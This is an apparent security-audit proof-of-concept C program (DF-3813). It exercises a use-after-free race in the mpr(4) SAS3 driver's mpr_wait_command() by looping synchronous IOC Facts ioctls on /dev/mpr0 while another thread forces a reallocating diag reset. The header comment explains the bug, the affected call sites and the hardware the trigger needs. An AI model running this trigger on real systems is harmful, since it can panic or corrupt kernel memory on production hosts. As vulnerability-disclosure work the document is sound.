DF-3813 / poc_concurrent_reinit.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 | /* * DF-3813 โ mpr(4) mpr_wait_command() wakeup-path use-after-free * trigger sketch * * Bug (sys/dev/raid/mpr/mpr.c): * mpr_wait_command() puts the calling thread to sleep on the command: * error = lksleep(cm, &sc->mpr_lock, 0, "mprwait", timeout*hz); * If ANOTHER thread performs a diag-reset reinit (any command timeout, * the periodic FAULT watchdog, a TM timeout) *and* the IOC Facts changed * across the reset, that reinit: * 1. mprsas_complete_all_commands() wakes the sleeper (wakeup(cm)) but * does NOT free the command (it is still owned by the sleeper), then * 2. mpr_iocfacts_allocate(..., attaching=FALSE) -> mpr_iocfacts_free() * kfrees the ENTIRE sc->commands[] array out from under the sleeper. * The sleeper reacquires the lock, lksleep() returns 0 and the function * returns SUCCESS with *cmp pointing into freed memory. Only the * function's *own* EWOULDBLOCK path checks MPR_FLAGS_REALLOCATED * (mpr.c:3611) โ the woken-by-concurrent-reinit path does not, and * neither does mpr_request_polled()'s polling loop (mpr.c:3641). * Callers then do e.g. callout_stop(&cm->cm_callout), * rpl = cm->cm_reply, mpr_free_command(sc, cm) on the dangling pointer * (see mpr_sas_lsi.c:1173, mpr_user.c:701/846/1050/1300/1394). * * Required setup to actually fire (NOT available on the audit guest): * - a SAS3 controller (/dev/mpr0), * - firmware whose IOC Facts differ across a diag reset (e.g. mid * firmware upgrade, or a controller that faults and comes back with * different RequestCredit/MaxTargets/IOCCapabilities), so the reinit * takes the reallocating path (mpr.c:551-576), * - a concurrent synchronous command sleeper (this program) plus an * independent reinit trigger (I/O timeouts from any unprivileged * user doing raw I/O against a wedged target, the FAULT watchdog, * or a second root ioctl user). * * This program compiles and runs; on a machine without the controller it * exits with "open /dev/mpr0: No such file or directory" (honest negative). */ #include <sys/types.h> #include <sys/ioctl.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* mirror of struct mpr_usr_command, sys/dev/raid/mpr/mpr_ioctl.h:116 */ struct mpr_usr_command_df { void *req; unsigned req_len; void *rpl; unsigned rpl_len; void *buf; int len; unsigned flags; }; #define MPRIO_MPR_COMMAND_DF _IOWR('M', 210, struct mpr_usr_command_df) /* MPI2_REQUEST_HEADER.Function lives at byte offset 3 (mpi2.h:855-866) */ #define MPI2_FUNCTION_IOC_FACTS_DF 0x03 static int fd = -1; static volatile int stop; /* * Thread A โ the future UAF victim: synchronous IOC Facts requests, each * of which sleeps in the kernel exactly like mpr_user_command()'s * mpr_wait_command(sc, &cm, 30, CAN_SLEEP) (mpr_user.c:701). */ static void * waiter_thread(void *arg) { unsigned char req[64], rpl[128]; struct mpr_usr_command_df cmd; (void)arg; memset(&cmd, 0, sizeof(cmd)); memset(req, 0, sizeof(req)); memset(rpl, 0, sizeof(rpl)); req[3] = MPI2_FUNCTION_IOC_FACTS_DF; /* Function */ cmd.req = req; cmd.req_len = sizeof(req); cmd.rpl = rpl; cmd.rpl_len = sizeof(rpl); cmd.buf = NULL; cmd.len = 0; cmd.flags = 0; while (!stop) { if (ioctl(fd, MPRIO_MPR_COMMAND_DF, &cmd) < 0) perror("MPRIO_MPR_COMMAND"); /* * After a concurrent reallocating reinit this ioctl can * return 0 while the kernel-side cm was already freed: * the UAF happens inside mpr_user_command()/free path * (kernel), not here โ look for the panic/corruption in * the console log, not in this process. */ } return (NULL); } int main(void) { pthread_t th; fd = open("/dev/mpr0", O_RDWR); if (fd < 0) { printf("DF-3813: open /dev/mpr0: %s โ no SAS3 controller " "present, cannot exercise mpr_wait_command()\n", strerror(errno)); return (1); } printf("DF-3813: controller present; starting synchronous waiter " "thread. Now force a diag reset whose IOC Facts differ (e.g. via " "I/O timeouts on a wedged target or FW-upgrade reset) while this " "runs.\n"); pthread_create(&th, NULL, waiter_thread, NULL); sleep(120); stop = 1; pthread_join(th, NULL); close(fd); return (0); } |